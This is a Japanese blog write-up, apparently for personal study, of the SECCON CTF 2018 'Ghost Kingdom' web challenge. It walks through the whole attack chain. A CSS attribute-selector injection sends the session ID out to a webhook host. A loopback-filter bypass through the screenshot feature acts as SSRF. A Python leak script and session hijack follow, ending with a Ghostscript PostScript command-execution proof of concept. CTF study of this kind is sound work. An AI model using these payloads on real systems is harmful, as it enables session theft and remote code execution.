fr33f0r4ll

自分用雑記

SECCON CTF 2018 Online Ghost Kingdom 復習

SECCON CTF 2018 Online Ghost Kingdom 復習

https://graneed.hatenablog.com/entry/2018/10/28/150722
人のWriteup見ながら復習。

問題

http://ghostkingdom.pwn.seccon.jp/FLAG/
URLが渡され、そこにアクセスするとFLAG is somewhere in this folder. GO TO TOPと表示される。
GO TO TOPのリンクから問題の脆弱性があるサービスに接続できる。

サービス

ログインするとMessage to admin, Take a screenshot, Upload imageの3つのメニューがある。
ログイン含め全てのサービスがGETだけで利用できる。

以下に各機能の簡単な説明。

Login

ログインはGETにより行われる、普通はPOSTが使われる。

ログイン処理をGETでやろうとするとRefererや通信ログから情報が漏洩してしまう可能性がある。

URLを通じてローカルネットワークから各機能を使わせるのに使った。

Message to admin

NormalEmergencyの2つのチェックボックスと、メッセージ入力欄、Previewボタンがある。

Previewボタンを押すとメッセージのプレビューが表示される。
Normalでは何もないが、Emergencyだと色が付くようになっている。

Previewボタンでの通信を見ると、cssというパラメータが使われているのが分かる。
値の末尾を見ると=が付いていることからbase64じゃないかと思える。
このパラメータにはCSSのコードがbase64エンコードされた状態で渡されていて、プレビューで色を付けるのに使われているらしい。
この値を適当に変更してやれば任意のCSSコードをページ中に埋め込める。 CSS injectionというらしい、そのままだった。
CSSなんかインジェクションして何ができるんだろうと思ったけど、属性の名前がどのようになっているかを判定して適用するかしないかを判定する、属性セレクタというものがあるらしい。
https://developer.mozilla.org/ja/docs/Web/CSS/Attribute_selectors

これを利用してある属性の値をリークさせる。

メッセージ送信の通信を見ると、hiddenパラメータとしてcsrfという値が送信されている。
どうやったら見破れるのかは分からないけど、cookieに保存されているセッションIDと同じ値がcsrfに設定されている。
後でここからセッションIDを盗み、セッションハイジャックする。

Take a screenshot

URLを入力し、スクリーンショットを撮ることができる。
内部でGETを利用していることは想像がつく。

この機能とGETによるログインを利用して、サーバからログインしたりさせられる。

Upload image

* Only for users logged in from the local networkと表示されている。
ローカルネットワークからアクセスする必要がある。
CTF的に考えると、この機能を使えるようにするのが最初のステップだとなんとなく分かる。

最終的にこの機能からコマンド実行をする。

解き方

まずアップロード機能を使えるようにすることを考える。
CTF中は常にIPアドレスによって判定していると思ってたが、どうやらログイン時の処理でしかアドレスは判定していないらしい。
なので一度ログインしてしまえばチェックはない。

そこで、ローカルネットワークからのログインのセッションをハイジャックすることを目指す。

セッションハイジャック

セッションハイジャックをするためにはセッションIDをリークさせる必要がある。
CSSの属性セレクタcsrfにセットされたセッションIDを利用して、セッションIDを1文字ずつリークさせる。

input[name=<attr-name>][value$="tail"] { color: green; }で、inputタグの属性<attr-name>の値の末尾がtailであるときにのみCSSが適用されるようになる、これが属性セレクタの機能になる。
これを利用してinput[name=csrf][value$="0"] { background: url("http://webhookinbox.com/x/xxxx/in/0"); }のようなCSSMessage to adminで渡してやると、セッションIDの末尾が0のときにだけwebhookinboxにアクセスが発生するようになる。
最後に0を付けているのは、クエリから末尾の値が何だったのかを確認できるようにするため。
0~fまでの組み合わせを渡せば、末尾から1文字ずつ特定していくことが可能になる。 Emergencyでのパラメータはこんな感じ。
/?css=<base64 css>&msg=<message>&action=msgadm2

これだけでは自分のセッションIDしか取得できない、ローカルネットワークのメッセージ機能でCSS injectionをする必要がある。
スクリーンショット機能を利用して、ローカルからメッセージ機能を使う。
入力したURLを自分自身のローカルアドレスに設定してパラメータを指定すれば、ローカルから全ての機能が使えるようになる。
最初にスクリーンショット機能経由でログインしなければならないはずなので注意。

URLにhttp://localhostのように指定しても、フィルタで127.0.0.1, localhost, ::1を含むURLは弾かれてしまう。
10進数表現(2130706433)や一部を16進数(0x7f.0.0.1)に変えた表現でもループバックアドレスとして扱われるので、これを使えばフィルタを回避できる。
これでローカルからのログイン、メッセージ送信などが可能になる。
http://2130706433/?action=login&user=user&pass=passみたいな感じのURLをスクリーンショット機能で指定すればローカルからログインできる。
ログインのクエリはこんな感じ。
/?user=<ユーザID>&pass=<パスワード>&action=login

スクリーンショット機能からログインし、メッセージ機能を使ってCSS injectionを繰り返すことでローカルでのセッションIDを取得できる。
このIDをcookieCGISESSIDに設定してやればアップロード機能が使えるようになる。

セッションIDの特定に使ったスクリプト

import base64
import requests
import time

host = 'http://ghostkingdom.pwn.seccon.jp/'
own_host = '<webhookinbox url>'


def login(session):
    return session.get(
        host,
        params={"user": "tkgsytest",
                "pass": "seccon",
                'action': 'login'})


def take_sshot(session, url):
    print(url)
    time.sleep(31)
    return session.get(host, params={"action": "sshot2", "url": url})


def login_at_local(session):
    url = 'http://2130706433/?user=<username>&pass=<password>&action=login'
    return take_sshot(session, url)


def send_msg_at_local(session, css):
    template = 'http://2130706433/?msg=Yo&action=msgadm2&css={}'
    enc_css = base64.b64encode(css)
    return take_sshot(session, template.format(enc_css))


def get_injection_css(known_tails):
    temp1 = 'input[name=csrf][value$="{}{}"]'
    temp2 = 'background: url("{}{}");'
    payload = ''

    for i in range(16):
        trial = hex(i)[2]
        payload += temp1.format(trial, known_tails)
        payload += " { "
        payload += temp2.format(own_host, trial)
        payload += " } "

    print(payload)
    return payload


def search_session_id(session, known_tails):
    return send_msg_at_local(session, get_injection_css(known_tails))


if __name__ == '__main__':
    known_sid = ''

    session = requests.Session()
    login(session)
    login_at_local(session)

    for i in range(22 - len(known_sid)):
        search_session_id(session, known_sid)
        leaked = raw_input("> ")
        known_sid = leaked + known_sid

    print(known_sid)

webhookinboxを眺めながらヒットした文字を入力すれば最終的なセッションIDを出力してくれる。
30秒の待機はスクリーンショットが30秒以上の間隔を開けないと使えなかったから。

Exploit

画像のアップロードでどうすればいいのかは問題の名前から察しがついた。
TWCTFでも出てた気がするけど、ghostscript脆弱性を使えばいい、PoCのコードがそのまま動く。
以下のコードを脆弱性のあるghostscriptが読み込めばecho testが実行されることになる。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%echo test) currentdevice putdeviceprops

このコードを適当な名前(exploit.epsとか)で保存して画像としてアップロードしてやると、コマンドの実行結果が返ってくる。
あとは問題のリンクの最初にあったディレクトリ以下をlsしてフラグを表示してやればいい。

この脆弱性についてはCVE-2018-17961とかで調べたり、前に調べたのがhttps://hiziriai.hatenablog.com/entry/2018/09/06/161559にある。合ってるかは知らないけどな。